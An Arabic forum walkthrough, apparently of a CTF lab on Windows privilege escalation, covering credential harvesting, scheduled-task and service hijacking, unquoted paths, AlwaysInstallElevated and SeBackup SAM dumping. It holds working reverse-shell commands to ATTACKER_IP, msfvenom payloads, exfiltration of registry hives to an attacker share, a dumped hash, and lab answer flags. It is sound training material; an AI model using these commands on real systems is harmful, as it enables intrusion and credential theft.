مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] تصعيد الصلاحيات على ويندوز | Windows Privilege Escalation

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

الـ Privilege Escalation


5c3530e1fb732e4a93dd4d6b7cb8373d.png
بعمليات الاختراق لما تفوت على ويندوز بتلاقي حالك مستخدم عادي
المستخدم العادي هاد ما بكون عنده سلطة كبيرة او تحكم كبير بس بقدر يوصل لملفاته ومجلداته بس وما فيه طريقة يعمل مهام إدارية على الجها، يعني ما بتقدر يكون عندك تحكم كامل على الهدف اللي بتستهدفه

الموضوع هاد بحكي عن تقنيات أساسية بتساعد الهاكرز يرتقوا بصلاحياتهم في نظام ويندوز يعني بتقدر تستغل أي دخول مبدئي بمستخدم عادي على الجهاز عشان تطور لحساب مسؤول إذا كان ممكن

راح نركز على النقاط التاليه :

0. الـ انواع للحسابات في ويندوز
1. الـ Unattended Windows Installations
2. الـ Powershell History
3. الـ Saved Windows Credentials
4. الـ Internet Information Services
5. الـ Retrieve Credentials from Software: PuTTY
6. الـ Scheduled Tasks
7. الـ Always Install Elevated
8. الـ Service Control Manager
9. الـ Splinterware System Scheduler
10. الـ Unquoted Service Paths
11. الـ Insecure Service Permissions
12. الـ صلاحيات SeBackup / SeRestore
13. الـ SeTakeOwnership
14. الـ SeImpersonate و SeAssignPrimaryToken
15. الـ Unpatched Software ( البرامج غير المحدثة )
16. الـ
Druva inSync 6.6.3
17. Tools of the Trade ( أدوات الفحص )






0. انواع الحسابات في ويندوز
بنظام ويندوز في نوعين من الحسابات للمستخدمين بناء على مستوى صلاحياتهم :
  1. المسؤولين : هما المستخدمين لديهم أكبر قدر من الصلاحيات بإمكانهم يغييرو أي إعدادات بالنظام والوصول لأي ملف بالنظام
  2. المستخدمين العاديين : هما المستخدمين اللي عندهم وصول للكمبيوتر لكن بقدرو يعملو مهام محدودة فقط عادةً اللي ما بقدرو يعملو تغييرات دائمة أو أساسية على النظام بس على ملفاتهم الخاصة
أي مستخدم لديه صلاحيات إدارية سيكون جزءًا من مجموعة المسؤولين ومن ناحية أخرى يكون المستخدمون العاديون جزءًا من مجموعة المستخدمين

وايضا في حسابات مدمجة خاصة بنظام التشغيل:
  1. SYSTEM / LocalSystem : حساب يستخدمه نظام التشغيل لأداء المهام الداخلية عنده وصول كامل لجميع الملفات والموارد المتاحة على الجهاز بصلاحيات أعلى حتى من المسؤولين
  2. Local Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اتصالات مجهولة عبر الشبكة
  3. Network Service : حساب افتراضي يستخدم لتشغيل خدمات ويندوز بصلاحيات "الحد الأدنى" بستخدم اعتمادات الكمبيوتر للمصادقة من خلال الشبكة

هاي الحسابات يتم إنشاؤها وإدارتها بواسطة ويندوز ولن تتمكن من استخدامها كحسابات عادية لكن ببعض الحالات ممكن تحصل على صلاحياتها بسبب استغلال خدمات معينه

المستخدمون الذين يمكنهم تغيير تكوينات النظام هم جزء من أي مجموعة؟
Administrators
يتمتع حساب النظام بامتيازات أكثر من المستخدم المسؤول (aye/nay)
aye



1. الـ Unattended Windows Installations:
لما بدنا نثبت ويندوز على عدد كبير من الأجهزة المشرفين بيستخدموا خدمه توزيع ويندوز ( Unattended Windows Installations ) اللي بتسمح بنسخة ويندوز واحدة تنزل على عدة أجهزة عن طريق الشبكة هاي تعتبر عمليه تثبيت غير مراقبة
يعني الواحد مش لازم يتفاعل معها وبتحتاج استخدام حساب مشرف عشان تعمل الإعداد الأولي اللي قد يتخزن في الجهاز في مكان معين زي :
كود:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

في الملفات هاي ممكن تلاقي معلومات دخول زي :

كود:
<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>



2. الـ Powershell History:
كل ما نكتب امر على الـ Powershell الأمر بتخزن بفايل هاد مفيد لما بتحتاج تعيد استخدام أوامر سابقة بسرعة لو حد يشغل أمر بالـ Powershell فيه كلمة سر بعدين بقدر يسترجعها

بأمر من الـ cmd : (عشان نقرأ الفايل من باورشيل لازم نغير %userprofile% لـ $Env:userprofile)

كود:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
بأمر من Powershell :
كود:
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


1715577763866.png

لقد تم ترك كلمة مرور لمستخدم julia.jones في سجل Powershell. ما هي كلمة المرور؟
ZuperCkretPa5z



3. الـ Saved Windows Credentials:
بنظام ويندوز في ميزة اسمها Saved Windows Credentials يعني بتتيحلينا نستخدم بيانات تسجيل الدخول خاصه بمستخدمين ثانيين
يعني لما نكتب الامر هاد بعرضلنا قائمة بالبيانات اللي انحفظت على النظام
كود:
cmdkey /list

طبعًا ما رح نشوف كلمات مرور بالتحديد بس لو شفنا أي بيانات مهمة ممكن نجربها
بنقدر نستخدمها بأمر runas مع إضافة الخيار savecred/ زي هيك :

كود:
runas /savecred /user:admin cmd.exe
الأمر هاد بخلينا نستخدم بيانات تسجيل الدخول بصلاحيات admin


1715578367104.png

توجد كلمة مرور محفوظة في بيانات اعتماد Windows الخاصة بك. باستخدام cmdkey وrunas، قم بإنشاء غلاف لـ mike.katz واحصل على العلم من سطح المكتب الخاص به.
THM{WHAT_IS_MY_PASSWORD}



4. الـ Internet Information Services:
إعدادات IIS اللي هي Internet Information Services هاد الويب سيرفر الافتراضي بالويندوز
إعدادات المواقع على الـ IIS بتتخزن بملف اسمه web.config والملف هاد بقدر يحتفظ بكلمات السر لقواعد البيانات أو آليات المصادقة اللي مُعدَّل عليها حسب إصدارة الـ IIS اللي مثبت على الجهاز

بنقدر نلاقي ملف web.config بأحد الأماكن هاي :
كود:
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

في طريقة سريعة للبحث عن الـ database connection strings في الملف بنكتب الأمر هاد :
كود:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString


1715577968132.png

خادم الويب قيد التشغيل على المضيف البعيد. ابحث عن أي كلمة مرور مثيرة للاهتمام في ملفات web.config المرتبطة بـ IIS. ما هي كلمة المرور للمستخدم db_admin؟
098n0x35skjD3



5. الـ Retrieve Credentials from Software: PuTTY:
هو برنامج للشبكات بويندوز
بنستخدمه عشان ندخل على الـ SSH
بتساعدك عشان ما تحتاج تكتب كل مرة الـ IP واسم المستخدم وهيك بتقدر تحفظ إعدادات الجلسات يعني بعد ما تعمل اتصال مرة بتقدر تخليه يتذكرها

بس للأسف الـ PuTTY ما بحفظ كلمات السر الخاصة بالـ SSH بس بخزن إعدادات البروكسي اللي فيها المعلومات التحقق من الهوية

عشان نوصل للمعلومات هاي بندور بالريجستري بالويندوز بالمسار هاد:

كود:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

الـ Simon Tatham هو اللي صاحب البرنامج PuTTY بعد ما ننفذ الأمر هاد بنشوف اسم المستخدم للبروكسي اللي حفظته

مش بس PuTTY اللي بتحفظ كلمات السر أي برنامج ثاني بخزن كلمات السر زي المتصفحات وبرامج الإيميل والـ FTP والـ SSH وحتى البرامج اللي بتسمحلك بالتحكم عن بعد زي VNC بتقدر تجيب كلمات السر بطرق مختلفة


1715611152984.png

استرجع كلمة المرور المحفوظة المخزنة في جلسة PuTTY المحفوظة ضمن ملفك الشخصي. ما هي كلمة المرور لمستخدم thom.smith؟
CoolPass2021



6. الـ Scheduled Tasks:
يعني تشوف المهام المجدولة على النظام ممكن نلقى مهمة مجدولة ممكن ضاع منها ملف او في ملف ممكن نقدر نتحكم فيه

بنقدر نشوف المهام المجدولة من الكوماند لاين باستخدام الأمر schtasks من غير أي خيارات وعشان نجيب معلومات تفصيلية عن أي مهمة بنقدر نستخدم أمر زي هاد :

كود:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

بتظهر معلومات كثيرة عن المهمة بس اللي بهمنا هو المتغير Task to Run اللي بوضح اللي بتنفذ من المهمة والمتغير Run As User اللي ببين مستخدم اللي بنفذ المهمة

لو المستخدم الحالي بقدر يعدل أو يغير الملف اللي ينفذه بنقدر نتحكم بشو ينفذ من قبل المستخدم taskusr1 وهيك بكون تطوير بسيط بالصلاحيات

عشان نشيك على صلاحيات الملف بنستخدم icacls :

كود:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

مجموعة BUILTIN\Users عندها صلاحية كاملة ( F ) على الملف يعني بنقدر نعدل الملف bat. ونحط فيه أي شي بدنا اياه ممكن نلاقي nc64.exe بالـ C:\tools بنقدر نغير الملف بحيث يعطينا ريفيرس شل :

كود:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

واكيد بنفتح ليسنر على جهازنا اللي هو المهاجم على نفس المنفذ اللي حددناه لريفيرس شل :

كود:
nc -lvp 4444

بالمرة الجاية اللي بتشتغل فيها المهمة المجدولة بيجينا ريفيرس شل بصلاحيات المستخدم taskusr1 بالعادة ما بنقدر نشغل المهمة يدوياً في حالة الاختبار الحقيقي وبنتضطر ننتظر لحد ما يشغل المهمة المجدولة
بس بالمثال هون بنقدر نشغلها يدويا عشان يوفرولنا وقت عن طريق الامر التالي
كود:
C:\> schtasks /run /tn vulntask

وبيجينا ريفيرس شل بصلاحيات taskusr1 زي ما توقعنا :

كود:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\taskusr1

1715630167397.png

1715630096448.png


ما هي taskusr1 flag ؟
THM{TASK_COMPLETED}



7. الـ Always Install Elevated:
ملفات التثبيت الخاصة بويندوز (المعروفة بـ msi files. ) تستخدم لتثبيت برامج على النظام
عادةً بتشتغل بصلاحيات المستخدم اللي بدأها بس بنقدر نعدلها عشان تشتغل بصلاحيات أعلى حتى لو كنت مستخدم عادي وطبعا هاد ممكن يسمحلك تولد ملف msi. يشتغل بصلاحيات الأدمن

هاي الطريقة بتحتاج قيمتين بالريجستري بتقدر تشيك عليهم من الكوماند لاين بالأوامر اللي تحت :

كود:
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

عشان نستفيد من الثغرة هاي لازم يكون الاثنين مضبوطين وإلا ما رح تقدر تستغل الثغرة لو هما مضبوطين بتقدر تولد ملف msi. باستخدام msfvenom زي ما في الأمر :

كود:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

عشان هذا ريفيرس شل لازم تشغل موديول الـ handler بـ Metasploit مضبوط بناءً على الريفيرس شل زي ما شرحت سابقا

لما تنقل الملف اللي سويته بتشغل المثبت بالأمر التالي وبيجيك اتصال من الريفيرس شل :

كود:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi



8. الـ Service Control Manager:
عننا خدمات ويندوز دايماً تحت الرقابة عندها يعني في خدمة اسمها Service Control Manager اللي هي مسؤوله عن إدارة حالة الخدمات وبتشيك على وضع كل خدمة

كل خدمة بالويندوز عندها ملف تنفيذي مرتبط معاها اللي بشغلها Service Control Manager
مهم جداً تعرف إن الملف التنفيذي للخدمة لازم يكون فيه وظائف خاصة عشان يتواصل مع Service Control Manager فـ مش أي ملف يمكن يتشغل كخدمة
وكل خدمة بتحدد حساب المستخدم اللي بتشتغل تحته

عشان نفهم أكثر خلينا نشوف مثال على خدمة اسمها apphostsvc باستخدام أمر sc qc :

كود:
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k apphost
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Application Host Helper Service
        DEPENDENCIES       :
        SERVICE_START_NAME : localSystem

هون مبين الملف التنفيذي للخدمة محدد بالمتغير BINARY_PATH_NAME
والحساب اللي بشتغل تحته بتظهر بالمتغير SERVICE_START_NAME

كل خدمة فيها قائمة تحكم وصول اسمها Discretionary Access Control List بتحدد مين اللي عنده إذن يشغل و يوقف و يوقف مؤقت و يشوف الحالة و يشوف الإعدادات أو يعدل عليها وغيرها من الصلاحيات.
القائمة هاي بتقدر تشوفها من برنامج اسمه Process Hacker اللي موجود على سطح المكتب :

Service DACL

كل الـ services configurations بتتخزن بالريجستري تحت HKLM\SYSTEM\CurrentControlSet\Services:

1715662784067.png

في مجلد فرعي لكل خدمة بالنظام بنشوف الملف التنفيذي المرتبط بالقيمة ImagePath والحساب المستخدم لبدء الخدمة على قيمة ObjectName
لو كان في قائمة تحكم وصول للخدمة بتتخزن بمجلد فرعي اسمه Security كمان بس المسؤولين بقدروا يعدلوا على القيم هاي بالريجستري بشكل طبيعي

1715631988573.png



9. الـ Splinterware System Scheduler:
اذا كان في ملف قابل للتنفيذ مرتبط "بخدمه معينه" الاذونات اللي فيها ضعيفه بنقدر نعدلها او نستبدلها عشان نرفع ريفيرس شل

أول اشي بنستخدم أمر عشان نشوف إعدادات الخدمة بواسطة الأمر sc

كود:
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcuser1

بيين عننا الخدمه WindowsScheduler بتشتغل تلقائي واسم الحساب الخاص فيها هو svcuser1/.
وأن الملف القابل للتنفيذ المرتبط بالخدمة موجود في C:\Progra~2\System~1\WService.exe

بعدها بنشوف الصلاحيات على الملف التنفيذي الخاص بالخدمة بواسطة الأمر icacls

وبطلعلنا إن مجموعة الـ Everyone عندها صلاحيات تعديل ( modify ) على الملف يعني أي حد ممكن يعدل عليه

كود:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

ممكن نستغل هاي الثغرة عن طريق msfvenom عشان نولد ملف ونرفعه على جهاز الضحيه عن طريق ويب سيرفر بنعمله ببايثون

كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

user@attackerpc$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

بعدها بننزل الملف اللي عملناه على جهاز الضحيه عن طريق السيرفر اللي فتحناه

كود:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

بعدها بنستبدل الملف التنفيذي الأصلي للخدمة بالملف التنفيذي اللي عملناه احنا

كود:
C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
        Successfully processed 1 files.

وبعد هيك اكيد بنفتح ليسنر عشان جينا اتصال من جهاز الضحية

كود:
user@attackerpc$ nc -lvp 4445

اخر اشي بنعيد تشغيل الخدمة ولو كنت باختبار اختراق بدك تستنا تشتغل الخدمة تلقائي بس بالتحدي هون اعطوك صلاحيات عشان تقدر تعيد تشغيل الخدمة لحالك وتوفّر وقتك

كود:
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

واكيد راح يجينا اتصال بصلاحيات الحساب اللي اسمه svcusr1

كود:
user@attackerpc$ nc -lvp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr1


1715683942483.png

1715684004561.png


1715688716993.png



1715688759363.png

1715689063760.png


احصل على الـ flag على سطح مكتب svcusr1
THM{AT_YOUR_SERVICE}


10. الـ Unquoted Service Paths:
اذا ما قدرنا نكتب مباشرة بملفات الخدمات زي قبل ممكن يكون في فرصة لإجبار الخدمة تشغل ملفات تنفيذية عشوائية

لما بنشتغل مع خدمات الويندوز بحصل سلوك معين جدًا لو الخدمة تم اعدادها لتشغل ملف تنفيذي unquoted يعني بدون اقتباس
يعني مسار الملف التنفيذي المرتبط بالخدمة المعينة مش محطوط بشكل صحيح بحيث يعتبر الفراغات في الأمر

مثلا خلينا نشوف الفرق بين خدمتين (هاد فقط مثال وممكن ما يكون موجود بجهازك)
الخدمة الأولى بتستخدم اقتباس صحيح عشان تضمن إن الإدارة الها تشغل الملف التنفيذي المشير له بـ C:\Program Files\RealVNC\VNC Server\vncserver.exe بعد هيك البارامترات اللي معطاه :


وهسا نشوف خدمة مع اقتباس صحيح :

كود:
C:\> sc qc "vncserver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vncserver
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VNC Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

معلومة: في باورشيل بستخدم sc كـ اختصار لـ Set-Content عشان هيك لازم نستخدم sc.exe عشان نتحكم بالخدمات إذا كننا بـ باورشيل


وهسا نشوف خدمة ثانية بدون اقتباس صحيح :

كود:
C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2


لما النظام يحاول يشغل الملف التنفيذي المرتبط بالخدمة بحصل مشكلة لأنو في فراغات باسم مجلد Disk Sorter Enterprise الأمر غامض شوي والنظام مش عارف بالضبط أي اشي من اللي تحتاج تشغل :

CommandArgument 1Argument 2
C:\MyPrograms\Disk.exeSorterEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exeEnterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe


هاد الموضوع اله علاقة بطريقة تحليل الامر عادةً لما تبعث أمر
الفراغات بتستخدم كفاصل بين الوسائط اذا ما كانت موجوده بين الـ " "
هاد يعني التفسير "الصحيح" للأمر اللي مش محطوطله اقتباس هو تشغيل C:\MyPrograms\Disk.exe واستخدام الباقي كوسائط

بدل ما يفشل النظام بحاول يساعد المستخدم وببدأ يدور على كل الملفات التنفيذية بالترتيب الموضح في الجدول :

اول اشي
  1. بدور على C:\MyPrograms\Disk.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  2. بدور على C:\MyPrograms\Disk Sorter.exe لو موجود الخدمة بتشغل الملف هاد , لو مش موجود
  3. بدور على C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe الخيار هاد متوقع ينجح وعادة يتم تشغيله بالتثبيت الافتراضي , من هذا التصرف بينلنا انو لو المهاجم عمل أي من الملفات التنفيذية اللي النظام بدور عليها قبل الملف التنفيذي المتوقع بأمكاننا نجبر الخدمة تشغل ملف تنفيذي عشوائي

معظم ملفات الخدمات بتتثبت تحت C:\Program Files أو C:\Program Files (x86) بشكل افتراضي واللي مش ممكن تتكتب فيه من مستخدمين ما معهم صلاحيات هاد بمنع أي خدمة ضعيفة من التعرض للاستغلال
بس في استثناءات للقاعدة هاي : - بعض برامج التثبيت بتغير الصلاحيات على المجلدات المثبتة اللي بتخلي الخدمات عرضة للخطر - المشرف ممكن يقرر يثبت ملفات الخدمة في مسار غير الافتراضي لو المسار هاد كان ممكن نكتب فيه من أي مستخدم فالثغرة ممكن تستغل

في حالتنا المشرف ثبت ملفات Disk Sorter تحت c:\MyPrograms بشكل افتراضي هاد برث صلاحيات C:\ directory اللي بتسمح لأي مستخدم بإنشاء ملفات ومجلدات فيه ممكن نتأكد من هاد باستخدام icacls :

كود:
C:\>icacls c:\MyPrograms
c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
              BUILTIN\Administrators:(I)(OI)(CI)(F)
              BUILTIN\Users:(I)(OI)(CI)(RX)
              BUILTIN\Users:(I)(CI)(AD)
              BUILTIN\Users:(I)(CI)(WD)
              CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files


مجموعة BUILTIN\Users فيها امتيازات AD و WD اللي بتسمح للمستخدم بإنشاء مجلدات فرعية وملفات على التوالي

عملية إنشاء payload exe-service باستخدام msfvenom ونقلها إلى الجهاز المستهدف هي نفسها اللي عملناها قبل

بمجرد ما يكون الـ payload بالخادم بننقلها لأي مكان قد يحدث فيه تسلل بهاي الحالة بننقل الـ payload لـ C:\MyPrograms\Disk.exe وبنمنح Everyone أذونات كاملة على الملف عشان نتأكد انه يتم تشغيله بواسطة الخدمة :
كود:
C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
        Successfully processed 1 files.


بمجرد إعادة تشغيل الخدمة بيجينا اتصال :

كود:
C:\> sc stop "disk sorter enterprise"
C:\> sc start "disk sorter enterprise"

هيك بنحصل على ريفيرس شل بصلاحيات svcusr2 :

كود:
user@attackerpc$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
wprivesc1\svcusr2

1715690876156.png

1715690975149.png

1715691535277.png

احصل على الـ flag على سطح مكتب svcusr2
THM{QUOTES_EVERYWHERE}




11. الـ Insecure Service Permissions:

لو فيه خدمة على الجهاز وبتكون إعداداتها مظبوطة ومكان ملف التشغيل (binary path) تاعها مكتوب صح ممكن تستفيد منها بشكل غير متوقع
لو الخدمة نفسها (مش الملف التنفيذي تاعها) مسموحلك تعدل إعداداتها بتقدر تغيرها وتشير لأي ملف تنفيذي ثاني وتشغله بأي حساب بدك اياه حتى لو كان حساب SYSTEM اللي هو أعلى صلاحية بالنظام

عشان تتأكد من إعدادات الخدمة (DACL) باستخدام سطر الأوامر
ممكن نستخدم أداة Accesschk من مجموعة Sysinternals بنلاقي نسخة منها موجودة بالـ C:\tools والأمر اللي بنستخدمه عشان نتأكد من إعدادات خدمة معينة اسمه thmservice هو :

كود:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

1715691779101.png

الجزء هاد معناه إن مجموعة المستخدمين العاديين (BUILTIN\Users) عندهم تصريح كامل للخدمة (SERVICE_ALL_ACCESS) يعني أي مستخدم بقدر يعيد تكوين الخدمة
بنبني ريفيرس شل زي ما تعلمنا سابقا
وبنشغل الـ listener :
كود:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

user@attackerpc$ nc -lvp 4447

بننقل الملف التنفيذي لجهاز الضحية وبنحطه بـ C:\Users\thm-unpriv\rev-svc3.exe بنستخدم wget عشان ننقل الملف للمكان اللي بدنا اياه وبعدين لازم نعطي صلاحيات للجميع (Everyone) لتشغيل الملف :

كود:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
عشان نغير الملف التنفيذي المرتبط بالخدمة ونستخدم الحساب اللي بدنا اياه بنستخدم الأمر هاد (انتبه للمسافات بعد علامة = عند استخدام sc.exe) :

كود:
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

اكيد ممكن نستخدم أي حساب لتشغيل الخدمة احنا اخترنا LocalSystem عشان هو أعلى حساب صلاحية

عشان نشغل الملف التنفيذي لازم نعيد تشغيل الخدمة :

كود:
C:\> sc stop THMService
C:\> sc start THMService

بنرجع للمستمع وبنشوف الاتصال بنظام الضحية بصلاحيات SYSTEM :
كود:
user@attackerpc$ nc -lvp 4447
Listening on 0.0.0.0 4447
Connection received on 10.10.175.90 50650
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM



1715699174009.png

1715699137029.png


1715700446358.png



كل مستخدم عنده مجموعة إمتيازات معينة ممكن يتأكد منها باستخدام الأمر :
كود:
whoami /priv

قائمة كاملة بالصلاحيات المتاحة على أنظمة الويندوز بتقدر تلاقيها هون


بالنسبة للمهاجمين اللي بهمهم بس هي الصلاحيات اللي بتخليهم يقدروا يسيطروا على النظام


قائمة بالصلاحيات اللي ممكن تُستغل موجودة في مشروع Priv2Admin على Github بالرابط التالي




12. الـ صلاحيات SeBackup / SeRestore:

الصلاحيات هاي بتسمح للمستخدمين بقراءة وكتابة أي ملف بالنظام بدون أي إجراءات حماية (DACL) الفكرة من الصلاحيات هاي إنها بتسمح لبعض المستخدمين يعملوا نسخ احتياطية من النظام بدون ما يحتاجوا صلاحيات إدارية كاملة

بامتلاك الصلاحيه هاي المهاجم بقدر يرفع صلاحيته بالنظام بسهولة باستخدام تقنيات كتير هون راح نشوف طريقة عبارة عن نسخ ملفات تسجيل النظام (SAM و SYSTEM) لاستخراج كلمة مرور الـ Administrator's


الحساب هاد جزء من مجموعة Backup Operators اللي عندهم بشكل افتراضي صلاحيات SeBackup وSeRestore بنفتح موجه الأوامر باستخدام خيار Open as administrator عشان نقدر نستخدم الصلاحيات هاي

Run as admin

بعد ما نفتح الـ cmd عشان نتاكد من الصلاحيات بنستخدم الامر :
كود:
whoami /priv

بعطينا اشي زي هيك

كود:
C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

عشان ننسخ ملفات SAM و SYSTEM بنستخدم الأوامر هاي :

كود:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

هيك بنتج ملفين فيهم محتوى تسجيل النظام بنقدر ننقل الملفات هاي لجهاز المهاجم باستخدام SMB أو أي طريقة ثانية
للـ SMB بنقدر نستخدم impacket's smbserver.py لبدء خادم SMB بسيط بمشاركة الشبكة بالدليل الحالي لجهاز المهاجم :

كود:
user@attackerpc$ mkdir share
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

هاد بعمل مشاركة اسمها public بتشير لدليل المشاركة وبتحتاج اسم المستخدم وكلمة المرور بعد هيك بنقدر نستخدم النسخ بجهاز الويندوز لنقل الملفين لجهاز المهاجم :

كود:
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

ونستخدم impacket لاستخراج كلمات مرور المستخدمين :

كود:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

بطلعلنا اشي زي هيك

كود:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
